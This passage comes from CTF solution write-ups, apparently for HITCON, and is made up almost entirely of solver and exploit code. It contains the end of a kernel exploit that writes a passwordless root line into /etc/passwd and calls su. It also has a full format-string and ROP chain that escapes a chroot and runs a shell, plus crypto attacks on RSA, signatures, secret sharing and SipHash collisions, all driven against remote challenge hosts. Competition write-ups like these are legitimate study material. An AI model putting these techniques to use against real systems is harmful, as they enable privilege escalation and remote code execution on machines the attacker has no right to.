            continue;
        }
        // pipe_idx-2 since user_key_payload takes up 24 bytes so we corrupt starting
        // from pipe->flags member of the initial pipe_buf in the ringbuffer
        // (so 16 byte left of that struct before we can corrupt file backed)
        keys[i] = alloc_key(n_keys++, &p_buf[pipe_idx-2], 800);
    }
    */

    const char *const data = "root::0:0:root:/root:/bin/sh\n";
    for (int i = 0x10; i < 0x20; i++) {
        ret = write(pipes[i][1], data, strlen(data));
        //read(pipes[i][0], buf, 0x400);
    }

    info("Calling system \n");
    system("cat /etc/passwd");
    system("su");

    WAIT();
}

## Full chain - Wall Sina

#define  _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <time.h>

#define build(fmt, ...) nb = sprintf(payload, fmt __VA_OPT__(,) __VA_ARGS__); memset(payload + nb, 'A', 0x40 - nb); printf("[!] payload: %s\n", payload);

int send, recv;

int main(int argc, char **argv, char **envp) {
    int input[2], output[2];

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);

    // pipe[0] in read end
    // pipe[1] in write end
    pipe(input);
    pipe(output);

    int pid = fork();
    if (pid == 0) {
        close(output[0]);
        dup2(output[1], 1);

        close(input[1]);
        dup2(input[0], 0);

        char *args[] = { "./sina", NULL };
        execve("./sina", args, envp);
        perror("execve");
    }

    // close(output[1]);
    // close(input[0]);

    send = input[1];
    recv = output[0];
    fcntl(recv, F_SETFL, fcntl(recv, F_GETFL) | O_NONBLOCK);
    printf("[!] fcntl: %d\n", fcntl(recv, F_SETPIPE_SZ, 1 << 20));

    int nb, dump;
    char *payload = malloc(0x50);
    dump = open("dump.dat", O_RDWR | O_CREAT, 0777);
    build("%%29$pZ%%30$pZ%%31$pZ%%219c%%32$hhn%%03831pZZ");
    write(send, payload, 0x40);

    sleep(2);

    char buf[4096];
    read(recv, buf, 4096);
    char *delim;
    char *start = buf;
    delim = strchr(start, 'Z');
    long libcbase = strtoul(start, NULL, 16) - 0x2d630;
    start = delim+1;
    delim = strchr(start, 'Z');
    long stack = strtoul(start, NULL, 16);
    start = delim+1;
    delim = strchr(start, 'Z');
    long filebase = strtoul(start, NULL, 16) - 0x3da8;

    printf("[!] stack: %p\r\n", stack);
    printf("[!] libcbase: %p\r\n", libcbase);
    printf("[!] filebase: %p\r\n", filebase);

    long retaddr = stack - 0x240;
    printf("[!] retaddr: %p\r\n", retaddr);

    payload = (char *)malloc(0x50);
    memset(payload, 0, 0x50);

    long offset = (filebase & 0xffff) - 0x5f;
    build("%%%dc%%10$hn%%%dp%%35$hn", offset, (-offset & 0xffff) + retaddr & 0xffff);
    write(send, payload, 0x40);

    long target = retaddr + 0x20;
    long poprdi = libcbase + 0x2dad2;
    long gets = libcbase + 0x796f0;
    long poprdx = libcbase + 0x1002c2;
    long victim = retaddr - 0x1000;
    long ret = libcbase + 0x2d4b6;
    long poprsp = libcbase + 0x2d79b;
    long chdir = libcbase + 0xfe2f0;
    long mkdir = libcbase + 0xfd6d0;
    long strings = victim;
    long previous = victim;
    long fakedir = victim + 8;
    long current = victim + 16;
    long ropchain = current + 64;
    long system = libcbase + 0x4e510;
    long shell = libcbase + 0x1b413f;
    long chroot = libcbase + 0x103f80;
    long poprsi = libcbase + 0x2f2c1;
    long read = libcbase + 0xfda10;
    long entrypoint = libcbase + 0x2d740;
    long puts = libcbase + 0x79fa0;
    long wr = libcbase + 0xfdab0;

    long chain[512];
    int r = 0;
    chain[r++] = 0x2e2e;
    chain[r++] = 0x41424344;
    chain[r++] = 0x0a0a0d0a002e;

    chain[r++] = poprdi;
    chain[r++] = fakedir;
    chain[r++] = poprsi;
    chain[r++] = 0777;
    chain[r++] = mkdir;

    chain[r++] = poprdi;
    chain[r++] = fakedir;
    chain[r++] = chroot;

    for (int i = 0; i < 24; i++) {
        chain[r++] = poprdi;
        chain[r++] = previous;
        chain[r++] = chdir;
    }

    chain[r++] = poprdi;
    chain[r++] = current;
    chain[r++] = chroot;

    chain[r++] = poprdi;
    chain[r++] = shell;
    chain[r++] = system;
    chain[r++] = entrypoint;
    int chainlen = r * 8;

    long stub[128];
    r = 0;
    stub[r++] = poprdi;
    stub[r++] = 0;
    stub[r++] = poprsi;
    stub[r++] = victim;
    stub[r++] = poprdx;
    stub[r++] = chainlen;
    stub[r++] = read;
    stub[r++] = poprdx;
    stub[r++] = victim;
    stub[r++] = poprsp;
    stub[r++] = ropchain;
    
    char *raw = (char *)stub;
    for (int i = 0; i < r * 8; i++) {
        build("%%110p%%75$hhn%%%dp%%62$hn", (-0x6e & 0xffff) + (target & 0xffff));
        write(send, payload, 0x40);

        build("%%110p%%75$hhn%%%dp%%77$hhn", (-0x6e & 0xff) + raw[i]);
        write(send, payload, 0x40);

        target += 1;
    }

    build("%%157p%%75$hhn");
    write(send, payload, 0x40);

    write(send, chain, chainlen);

    int failcount = 0;
    while (1) {
        nb = splice(recv, 0, 1, 0, 1 << 20, 0);
        if (nb < 0) {
            scanf("%c", &nb);
            failcount += 1;
            if (failcount > 16) break;
            printf("\n[!] fail (%05d)\n", failcount);
        } else {
            failcount = 0;
            printf("\n[!] num bytes: %d\n", nb);
        }
    }

    printf("\nsending commands\n");
    char *cmds[] = { "\n\n\n\n\n\n\n\n\n", "ls\n", "cat /home/user/flag\n", "pwd\n" };
    for (int i = 0; i < sizeof(cmds) / sizeof(cmds[i]); i++) {
        char *msg = cmds[i];
        write(send, msg, strlen(msg));
    }

    int rounds = 0;
    while (0 > splice(recv, 0, 1, 0, 0x1000, 0) && rounds < 512) rounds++;
}

## LessEQualmore

import struct
import copy

from z3 import *

def extract_subleq_equations(mem, mask):
    ret = []
    pc = 0
    input_idx = 0
    while pc >= 0:
        #handle some special memory...
        num = 0
        if mem[pc] < 0:
            num = -mask[input_idx]
            input_idx += 1
        else:
            num = mem[mem[pc]]
        
        if mem[pc + 1] < 0:
            #print(chr(num), end="")
            #print(str(num.to_bytes(1, "little")))
            pass
        
        if pc == 0xCEF:
            v = mem[mem[pc + 1]]
            if v > 0x7FFFF:
                v = 0x1000000 - mem[mem[pc + 1]]
            else:
                v = -v
            ret.append(v)
                
            mem[mem[pc + 1]] = num

        mem[mem[pc + 1]] = mem[mem[pc + 1]] - num
        
        if mem[mem[pc + 1]] <= 0:
            pc = mem[pc + 2]
        else:
            pc += 3
    
    return ret[:8]

def solve(equation_mat):
    results = [0xFFF438, 0x583, 0xFFFC53, 0xE3E, 0x5FC, 0x1933, 0x9CE, 0xFFFFB5, 0xFFF858, 0x80D, 0xFFFE02, 0x8D4, 0x83B, 0x17EC, 0x36E, 0xFFFBCC, 0xFFF883, 0x55E, 0xFFFEFC, 0x8A4, 0x629, 0x1381, 0x547, 0xFFFF50, 0xFFF609, 0x5DA, 0xFFFCBB, 0xBF6, 0x639, 0x174E, 0x784, 0xFFFE6F, 0xFFF4AE, 0x353, 0xFFFA53, 0xE4F, 0x2C7, 0x1449, 0xA1F, 0xFFFF6D, 0xFFF375, 0x4A5, 0xFFFC5B, 0xF34, 0x55C, 0x18DA, 0xB5E, 0x133, 0xFFF801, 0x407, 0xFFFE5E, 0x97A, 0x493, 0x11DA, 0x6C0, 0x21, 0xFFF821, 0x333, 0xFFFEC2, 0x942, 0x46C, 0x109F, 0x76C, 0x15B]
    flag = ""
    
    sample = [Int(f"i_{i}") for i in range(8)]
    for i in range(0, 64, 8):
        s = Solver()
        for k in range(0, 8):
            sum = 0
            for j in range(0, 8):
                sum += sample[j] * equation_mat[j][k]
            
            result = results[i + k]
            if result > 0x7FFFFF:
                result = 0x1000000 - result
            else:
                result = -result
            s.add(sum == result)
        
        if s.check() == sat:
            model = s.model()
            for v in sample:
                flag += chr(model[v].as_long())
        else:
            print("not sat")
    
    print(flag)


if __name__ == "__main__":
    mem = []
    
    f = open("dump.bin", "rb")
    data = f.read()
    f.close()
    
    for i in range(0, len(data), 8):
        num = struct.unpack("<q", data[i:i + 8])[0]
        mem.append(num)
    
    equation_mat = []
    
    for i in range(0, 8):
        mask_array = [0] * 8
        mask_array[i] = 1
        mask = bytes(mask_array)
        mask += b"\n"
        running_mem = copy.deepcopy(mem)
        extract_result = extract_subleq_equations(running_mem, mask)
        equation_mat.append(extract_result)
    
    print(equation_mat)
    solve(equation_mat)

## Crypto - EZRSA

Rough steps:
1. Encrypt `-1` and decrypt it back to get `n-1`, thus learning $n$.
2. Decrypt $P=(1,1)$ on the singular curve $y^2=x^3$ to get back $dP$, thus learning $d$ (in the else case).
3. Pick a random point and decrypt it via the oracle and also locally via $d$. There's a 3/8 chance that we a non-trivial gcd, thus learning $p$ and $q$.
4. Decompose $p$ and $q$ into sum of squares, thus learning $\phi$ and $e$ for the else case.
5. ???
6. Profit!

from sage.all import *
from pwn import *
from ast import literal_eval

#sh = process(['python', 'ezrsa_server.py'])
sh = remote('chal-ezrsa.chal.hitconctf.com', 44444)

def get(*arr):
    sh.sendlines(arr)
    sh.readuntil(b' = ')
    return literal_eval(sh.readline().decode())

enc = lambda m: get(b'1', str(m).encode())
dec = lambda x, y: get(b'2', f'{x} {y}'.encode())

n = dec(*enc(-1))[1]+1
print(f'{n=}')

x, y = dec(1,1)
d = ZZ(mod(x,n)/y)
print(f'{d=}')

for i in range(2, 999):
    x, y = 1, i
    
    a = mod(y,n)**2/x - x**2
    x0 = (EllipticCurve(Zmod(n),[a,0])(x,y)*d)[0]
    x1 = dec(x, y)[0]
    
    p = ZZ(gcd(x0-x1,n))
    if 1 < p < n:
        print(f'{p=}')
        break
        
q = n // p
assert p*q==n

def get_uv(r):
    u, v = sum_of_k_squares(2, r)
    return (v,u) if u%4==2 else (u,v)

up, vp = get_uv(p)
uq, vq = get_uv(q)
e = ZZ(pow(d,-1,(p+1+2*vp)*(q+1+2*vq)))
print(f'{e=}')

print('We know everything now!')

from ezrsa_server import ECRSA
from tqdm import trange
ecrsa = ECRSA((n, e), (p, up, vp, q, uq, vq))

sh.sendline(b'3')
for _ in trange(16):
    sh.sendline(str(ecrsa.decrypt(get())[1]).encode())
    sh.readuntil(b' = ')
    
print(sh.readall())

This gives us the flag `hitcon{the_single_catastrophic_else_branch_:(}`.

## Crypto - Collision

collision via cycle-finding + fast implementation in C + multiple threads to reduce time

`bruteseed.cpp`

#include <bits/stdc++.h>
using namespace std;

typedef ssize_t Py_ssize_t;
typedef Py_ssize_t Py_hash_t;

#define _le64toh(x) ((uint64_t)(x))
#define ROTATE(x, b) (uint64_t)( ((x) << (b)) | ( (x) >> (64 - (b))) )

static void lcg_urandom(unsigned int x0, unsigned char *buffer, size_t size)
{
    size_t index;
    unsigned int x;

    x = x0;
    for (index=0; index < size; index++) {
        x *= 214013;
        x += 2531011;
        /* modulo 2 ^ (8 * sizeof(int)) */
        buffer[index] = (x >> 16) & 0xff;
    }
}

typedef union {
    /* ensure 24 bytes */
    unsigned char uc[24];
    /* two Py_hash_t for FNV */
    struct {
        Py_hash_t prefix;
        Py_hash_t suffix;
    } fnv;
    /* two uint64 for SipHash24 */
    struct {
        uint64_t k0;
        uint64_t k1;
    } siphash;
    /* a different (!) Py_hash_t for small string optimization */
    struct {
        unsigned char padding[16];
        Py_hash_t suffix;
    } djbx33a;
    struct {
        unsigned char padding[16];
        Py_hash_t hashsalt;
    } expat;
} _Py_HashSecret_t;
_Py_HashSecret_t _Py_HashSecret;

#define HALF_ROUND(a,b,c,d,s,t)     \
    a += b; c += d;                 \
    b = ROTATE(b, s) ^ a;           \
    d = ROTATE(d, t) ^ c;           \
    a = ROTATE(a, 32);

#define SINGLE_ROUND(v0,v1,v2,v3)   \
    HALF_ROUND(v0,v1,v2,v3,13,16);  \
    HALF_ROUND(v2,v1,v0,v3,17,21);

#define DOUBLE_ROUND(v0,v1,v2,v3)   \
    SINGLE_ROUND(v0,v1,v2,v3);      \
    SINGLE_ROUND(v0,v1,v2,v3);

static uint64_t
siphash24(uint64_t k0, uint64_t k1, const void *src, Py_ssize_t src_sz) {
    uint64_t b = (uint64_t)src_sz << 56;
    const uint8_t *in = (const uint8_t*)src;

    uint64_t v0 = k0 ^ 0x736f6d6570736575ULL;
    uint64_t v1 = k1 ^ 0x646f72616e646f6dULL;
    uint64_t v2 = k0 ^ 0x6c7967656e657261ULL;
    uint64_t v3 = k1 ^ 0x7465646279746573ULL;

    uint64_t t;
    uint8_t *pt;

    while (src_sz >= 8) {
        uint64_t mi;
        memcpy(&mi, in, sizeof(mi));
        mi = _le64toh(mi);
        in += sizeof(mi);
        src_sz -= sizeof(mi);
        v3 ^= mi;
        SINGLE_ROUND(v0,v1,v2,v3);
        v0 ^= mi;
    }

    t = 0;
    pt = (uint8_t *)&t;
    switch (src_sz) {
        case 7: pt[6] = in[6]; /* fall through */
        case 6: pt[5] = in[5]; /* fall through */
        case 5: pt[4] = in[4]; /* fall through */
        case 4: memcpy(pt, in, sizeof(uint32_t)); break;
        case 3: pt[2] = in[2]; /* fall through */
        case 2: pt[1] = in[1]; /* fall through */
        case 1: pt[0] = in[0]; /* fall through */
    }
    b |= _le64toh(t);

    v3 ^= b;
    SINGLE_ROUND(v0,v1,v2,v3);
    v0 ^= b;
    v2 ^= 0xff;
    SINGLE_ROUND(v0,v1,v2,v3);
    SINGLE_ROUND(v0,v1,v2,v3);
    SINGLE_ROUND(v0,v1,v2,v3);

    /* modified */
    t = (v0 ^ v1) ^ (v2 ^ v3);
    return t;
}

static Py_hash_t pysiphash(const void *src, Py_ssize_t src_sz) {
    return (Py_hash_t)siphash24(
        _le64toh(_Py_HashSecret.siphash.k0), _le64toh(_Py_HashSecret.siphash.k1),
        src, src_sz);
}


int main() {

    string m1, m2;
    Py_ssize_t h1, h2;

    cout << "Give me the first string" << endl;
    cin >> m1;
    cout << "Give me the second string" << endl;
    cin >> m2;

    cout << "Give me the first hash" << endl;
    cin >> h1;
    cout << "Give me the second hash" << endl;
    cin >> h2;

    int found = 0;
    for(unsigned int seed = 0;seed < 16777216; seed++){
        void *secret = &_Py_HashSecret;
        Py_ssize_t secret_size = sizeof(_Py_HashSecret_t);
        lcg_urandom(seed, (unsigned char*)secret, secret_size);

        if (pysiphash(m1.c_str(), m1.size()) == h1 && pysiphash(m2.c_str(), m2.size()) == h2){
            cout << "seed: " << seed << endl;
            found = 1;
        }
    }
    if (not found)
        cout << "Not found" << endl;
}

`collfind.cpp`

#include <thread>
#include <vector>
#include <iostream>
#include <string>
#include <atomic>
#include <chrono>
using namespace std;

typedef unsigned long long u64;
const u64 LEN8 = 16UL << 56;
#define ROTATE(x, b) ( ((x) << (b)) | ( (x) >> (64 - (b))) )

struct sip
{
    u64 v0, v1, v2, v3;
    
    void round()
    {
        v0 += v1; v2 += v3;
        u64 tmp1 = ROTATE(v1, 13);
        u64 tmp2 = ROTATE(v3, 16);
        v1 = tmp1 ^ v0;
        v3 = tmp2 ^ v2;
        
        v0 = ROTATE(v0, 32);
        
        v2 += v1; v0 += v3;
        tmp1 = ROTATE(v1, 17);
        tmp2 = ROTATE(v3, 21);
        v1 = tmp1 ^ v2;
        v3 = tmp2 ^ v0;
        
        v2 = ROTATE(v2, 32);
    }
    
    u64 hash(u64 msg)
    {
        v3 ^= msg;
        round();
        v0 ^= msg;
        v3 ^= LEN8;
        round();
        v0 ^= LEN8;
        v2 ^= 0xFF;
        round(); 
        round();
        round(); 
        return v0 ^ v1 ^ v2 ^ v3;
    }
};

sip base_state;
ulong f(ulong x)
{
    sip s = base_state;
    return s.hash(x);
}

pair<u64,u64> getcoll(u64 x0)
{
    u64 power = 1;
    u64 lam = 1;
    u64 tortoise = f(x0);
    u64 hare = f(f(x0));
    while (tortoise != hare)
    {
        if (power == lam)
        {
            tortoise = hare;
            power *= 2;
            lam = 0;
        }
        hare = f(hare);
        lam++;
    }

    tortoise = hare = x0;
    for (long i = 0; i < lam - 1; i++)
        hare = f(hare);
        
    // special case if we're already in a cycle
    u64 prevHare = hare;
    hare = f(hare);
    if (tortoise == hare)
    {
        return make_pair(prevHare, prevHare);
    }
    
    while (true)
    {
        auto prev = make_pair(tortoise, hare);
        tortoise = f(tortoise);
        hare = f(hare);
        if (tortoise == hare)
            return prev;
    }
}

chrono::time_point<chrono::high_resolution_clock> start;
void threadFunc(int startValue) {
    auto coll = getcoll(startValue);

    cout << coll.first << " " << coll.second << endl;
    auto end = chrono::high_resolution_clock::now();
    chrono::duration<double> duration = end - start;
    cout << "Duration: " << duration.count() << " seconds" << endl;
    exit(0);
}



int main(int argc, char *argv[])
{
    if (argc != 5)
    {
        cout << "Needs 4 arguments" << endl;
        return -1;
    }
    
    base_state = { stoull(argv[1]), stoull(argv[2]), stoull(argv[3]), stoull(argv[4]) };
    
    cout << "Start" << endl;
    start = chrono::high_resolution_clock::now();

     vector<thread> threads;
    for (int i = 0; i < 8; ++i) {
        threads.push_back(thread(threadFunc, i));
    }

    for (auto& th : threads) {
        th.join();
    }

    auto end = chrono::high_resolution_clock::now();
    chrono::duration<double> duration = end - start;
    cout << "Duration: " << duration.count() << " seconds" << endl;
    cout << "The end" << endl;

    while(true) {}
}

solver:

from pwn import *

r = remote('chal-collision.chal.hitconctf.com', 33333)

for ntrial in range(8):
    salt = r.recvline().strip().split(b': ')[1]

    # retrieve seed
    r.sendlineafter(b'm1: ', b'41'*8)
    r.sendlineafter(b'm2: ', b'42'*8)
    ret = r.recvline().strip().split(b' != ')
    h1 = int(ret[0])
    h2 = int(ret[1])

    bruteseed = process(['./bruteseed'])

    bruteseed.sendlineafter(b'Give me the first string\n', bytes.fromhex((salt + b'41'*8).decode()))
    bruteseed.sendlineafter(b'Give me the second string\n', bytes.fromhex((salt + b'42'*8).decode()))
    bruteseed.sendlineafter(b'Give me the first hash\n', str(h1))
    bruteseed.sendlineafter(b'Give me the second hash\n', str(h2))

    seed = int(bruteseed.recvline(False).decode().split()[-1])
    print('seed:', seed)
    bruteseed.close()

    ####################### preparse state

    def rotate(x, b):
        return ((x << b)  | (x >> (64 - b))) % (2**64)

    def half_round(a,b,c,d,s,t):
        a = (a+b)%2**64
        c = (c+d)%2**64
        b = rotate(b, s) ^ a
        d = rotate(d, t) ^ c
        a = rotate(a, 32)
        return a, b, c, d

    def single_round(v0, v1, v2, v3):
        v0, v1, v2, v3 = half_round(v0, v1, v2, v3, 13, 16)
        v2, v1, v0, v3 = half_round(v2, v1, v0, v3, 17, 21)
        return v0, v1, v2, v3


    def lcg_urandom(x0):
        buffer = bytearray(24)
        for i in range(24):
            x0 = (x0*214013 + 2531011)%2**64
            buffer[i] = (x0 >> 16)&0xff
        return buffer


    def siphash13(k0, k1, src):
        b = len(src) << 56
        v0 = k0 ^ 0x736f6d6570736575
        v1 = k1 ^ 0x646f72616e646f6d
        v2 = k0 ^ 0x6c7967656e657261
        v3 = k1 ^ 0x7465646279746573

        src += bytes(8 - len(src)%8)
        for i in range(0, len(src)-8, 8):
            block = src[i:i+8]
            mi = int.from_bytes(block, 'little')
            v3 ^= mi
            v0, v1, v2, v3 = single_round(v0, v1, v2, v3)
            v0 ^= mi

        t = int.from_bytes(src[-8:], 'little')
        b |= t
        v3 ^= b
        v0, v1, v2, v3 = single_round(v0, v1, v2, v3)
        v0 ^= b
        v2 ^= 0xff
        v0, v1, v2, v3 = single_round(v0, v1, v2, v3)
        v0, v1, v2, v3 = single_round(v0, v1, v2, v3)
        v0, v1, v2, v3 = single_round(v0, v1, v2, v3)
        return v0 ^ v1 ^ v2 ^ v3


    secret = lcg_urandom(seed)
    k0 = int.from_bytes(secret[:8],'little')
    k1 = int.from_bytes(secret[8:16],'little')

    print(siphash13(k0, k1, bytes.fromhex((salt + b'41'*8).decode())) == h1 % (2**64))
    print(siphash13(k0, k1, bytes.fromhex((salt + b'42'*8).decode())) == h2 % (2**64))

    def getstate(k0, k1, salt):
        v0 = k0 ^ 0x736f6d6570736575
        v1 = k1 ^ 0x646f72616e646f6d
        v2 = k0 ^ 0x6c7967656e657261
        v3 = k1 ^ 0x7465646279746573
        mi = int.from_bytes(salt, 'little')
        v3 ^= mi
        v0, v1, v2, v3 = single_round(v0, v1, v2, v3)
        v0 ^= mi
        return v0, v1, v2, v3

    v0, v1, v2, v3 = getstate(k0, k1, bytes.fromhex(salt.decode()))

    collfind = process(['./collfind', str(v0), str(v1), str(v2), str(v3)])

    collfind.recvline()

    m0, m1 = collfind.recvline().strip().split(b' ')
    m0 = int(m0)
    m1 = int(m1)

    hforged1 = siphash13(k0, k1, bytes.fromhex(salt.decode()) + m0.to_bytes(8, 'little'))
    hforged2 = siphash13(k0, k1, bytes.fromhex(salt.decode()) + m1.to_bytes(8, 'little'))

    print(hforged1)
    print(hforged2)

    r.sendlineafter(b'm1: ', m0.to_bytes(8, 'little').hex())
    r.sendlineafter(b'm2: ', m1.to_bytes(8, 'little').hex())


r.interactive()

## Crypto - Careless Padding


## Forensics - Not Just usbpcap


# Open the input file "test.raw" in binary read mode
test = open("test.raw", "rb")

# Create an empty bytearray named "latm"
latm = bytearray()

# Loop indefinitely
while True:
    # Read 667 bytes of data from the "test.raw" file
    data = test.read(667)

    # Check if there is no more data to read
    if len(data) == 0:
        break

    # Add the LATM header (bytes b"\x56\xe2\x9b") to the "latm" bytearray
    latm += b"\x56\xe2\x9b"

    # Add the read data to the "latm" bytearray
    latm += data

# Close the "test.raw" file
test.close()

# Open the output file "test.latm" in binary write mode and write the "latm" data
open("test.latm", "wb").write(latm)

## Web - Canvas


## Crypto - Echo

from pwn import *
from sage.all import *
from Crypto.Util.number import bytes_to_long, long_to_bytes
import itertools

io = remote('chal-echo.chal.hitconctf.com', int(22222))

def query1(msg):
    io.recvlines(3)
    io.sendlineafter('> ', str(1))
    io.sendlineafter('Enter message: ', msg)
    cmd = io.recvline(False).split(b'Command:')[-1][1:]
    sign = io.recvline(False).split(b'Signature:')[-1][1:]
    return cmd, int(sign)


m1 = 'uMDn1=roD_' 
m2 = '%6Dn1=r962'
m3 = 'uM,QKVtUvv'
m4 = '%6,QKVt2tt'
k6 =  '%6'
uM = 'uM'
_, k6s = query1(k6)
_, uMs = query1(uM)
_, c1 = query1(m1)
_, c2 = query1(m2)
_, c3 = query1(m3)
_, c4 = query1(m4)

lhs = k6s * c1
rhs = uMs * c2 
kn = abs(rhs - lhs)

lhs = k6s * c3
rhs = uMs * c4
kn = gcd(kn, abs(rhs - lhs))

for i in range(2, 10000):
    while kn % i == 0:
        kn //= i
    
print(kn)
print(int(kn).bit_length())
n = int(kn)
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
payload = b"./give me flag please #" + b"\x01"*(512//8) # ensure last 512 bits are garbage/commented out
payload_num = b2l(payload)
diff = payload_num % n
payload_num += (n-diff) # Make the entire thing divisible by n

t = l2b(payload_num)
t =  t + 20*b'\x00' 

for j in range(100):
    t = t + b'\x00'
    aff = b2l(t[:23]) * 256^(len(t[23:]))

    A = Matrix([256^i for i in range(len(t[23:]))]).T
    M = block_matrix([
        [A, 1],
        [n, 0]
    ])
    targ = [aff] + [-64 for _ in range(len(t[23:]))]
    targ = vector(targ)
    M = M.stack(targ)
    M = M.augment(vector([0 for _ in range(M.nrows()-1)] + [1]))

    wt = [1] + [49 for _ in range(len(t[23:]))] + [1]
    wt = [max(wt)//x for x in wt]
    W = diagonal_matrix(wt)

    M = M*W
    M = M.BKZ(block_size=10)
    M = M/W

    for row in M:
        if row[0]!=0:
            continue
        if abs(row[-1])!=1:
            continue
        row = row * row[-1]
        print(row)
        ks = row[1:-1]
        if not set(ks).issubset(set(list(range(-64, 64)))):
            continue
        
        print('found one')
        msg = sum([256^i * (64 + xi) for i, xi in enumerate(ks)])
        msg = msg + aff
        print(l2b(int(msg)))
        print(msg%n)
        io.sendlineafter('> ', str(2))
        io.sendlineafter('Enter command: ', l2b(int(msg)))
        io.sendlineafter('Enter signature: ', str(0))
        io.interactive()

## Crypto - Share

from pwn import *
from sage.all import *
import os
from Crypto.Util.number import *

def big_query(n, p):
    nqueries = 50
    payload = nqueries * f'{p}\n{n}\n'
    tube.send(payload)
    qq = tube.recvlines(nqueries)
    rows = [[pow(i+1, j, p) for j in range(n)] for i in range(n-1)]
    shares = [eval(x.split(b'= ')[-1].decode()) for x in qq]
    A = Matrix(GF(p), rows)
    return A, shares


def query(n, p):
    tube.sendlineafter("p = ", str(p))
    tube.sendlineafter("n = ", str(n))
    tube.recvuntil(b'shares = ')
    shares = eval(tube.recvline())
    Fp = GF(p)
    rows = [[pow(i+1, j, p) for j in range(n)] for i in range(n-1)]
    A = Matrix(Fp, rows)
    return A, vector(Fp, shares)


tube = remote("chal-share.chal.hitconctf.com", int(11111))
# tube = process(['python3', 'server.py'])
# secret = int(tube.recvline())

res = []
mods = [31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227]

for p in mods:
    print(p)
    n = min(p-1, 50)
    #n = p-1
    guesses = [1 for _ in range(p)]
    A, rhss = big_query(n, p)
    #print('here')
    found = 0
    for rhs in rhss:
        rhs = vector(GF(p), rhs)
        x0 = A.right_kernel().basis_matrix()[0]
        aff = A.solve_right(rhs)

        for a in range(p):
            ppol = aff + a*x0
            if p-1 in list(ppol[1:]):
                guesses[ppol[0]] = 0
        
        if guesses.count(1) == 1:
            found = 1
            break

    print(guesses.count(1))
    print(f'{found = }')

    res.append(guesses.index(1))

ss = CRT(res, mods)
print(ss)
print(ZZ(ss).nbits())

tube.sendlineafter("p = ", str(2))
tube.sendlineafter("n = ", str(7))
tube.sendlineafter("secret = ", str(ss))
print(tube.recvline())

## Crypto - Random Shuffling Algorithm

Another flatter ftw challenge

from Crypto.Util.number import *
from functools import reduce
from random import SystemRandom
import os

random = SystemRandom()

def xor(a, b):
    return bytes([x ^^ y for x, y in zip(a, b)])

with open("flag.txt", "rb") as f:
    flag = f.read().strip()

n_size = 1024
msgs = [os.urandom(n_size // 8 - 1) for _ in range(3)]
msgs += [reduce(xor, msgs + [flag])]
msgs = [bytes_to_long(m) for m in msgs]
pubs = eval(open("output.txt").readline().split(" = ")[1])

cts = []
for pub in pubs:
    random.shuffle(msgs)
    cur = []
    for m in msgs:
        a = getRandomRange(0, pub)
        b = getRandomRange(0, pub)
        c = pow(a * m + b, 3, pub)
        cur.append((a, b, c))
    cts.append(cur)


def polycrt(plist, nlist):
    g, s, t = xgcd(nlist[0], nlist[1])
    left = plist[0] * t * nlist[1] + plist[1] * s * nlist[0]
    return (left, nlist[0] * nlist[1])


f = 1
n = 1
P.<x> = PolynomialRing(ZZ)
x = P.gen()
nsamples = 20

for nn, triples in zip(pubs[:nsamples], cts[:nsamples]):

    ff = 1
    for (a, b, c) in triples:
        ff *= (a*x + b)^3 - c

    if f == 1:
        f = ff
        n = nn
        continue
    
    f, n = polycrt([f, ff], [n, nn])

f = f.change_ring(Zmod(n))
for msg in msgs:
    assert(f(msg)== 0)

print(small_roots(f, 2^1024, beta=0.44, m=1))

from Crypto.Util.number import *

def xor(a, b):
    return bytes([x ^^ y for x, y in zip(a, b)])

roots = [120039153147275612279226072293039199989969435136720881392074739490216237445596918586488417768801307603836543606827992369039948429370926261172805872470575886813016385668019620, 482392614478393528952831932035773242406955698425695406319950300997518912897501747016178383250788296360037466509997031885046058717408614085325714387503123667471421671002203194717363274516944761912241161992187572242484775989362923688152314218513920976429726225349017002285717480282794835061524817669847650035, 370158203601696356824744264837067510894209113191047227977499850782664475747970439023138065826563556729715926377142756987674583013786750809342391114409451950252073420793582063612594440290068567256251840598542169138848718712955165803898440243094140779328902332773023505371803736088449673219863398285033835901, 168657622158324664695093984693682814652346301197487495534293980942467580538704212715811816631856241319336663381746535651191837601535600164744216572123634505113088257836937538780591294079471868814767561135957049428082139679397962946605830934298942465378642696010130783461799846843611010085950596519162976117]
print(reduce(xor, [long_to_bytes(roots[0]), long_to_bytes(roots[1]), long_to_bytes(roots[2]), long_to_bytes(roots[3])]))

`hitcon{perhaps_this_should_be_called_noisy_coppersmith_ed16a0f9a66bef9a}`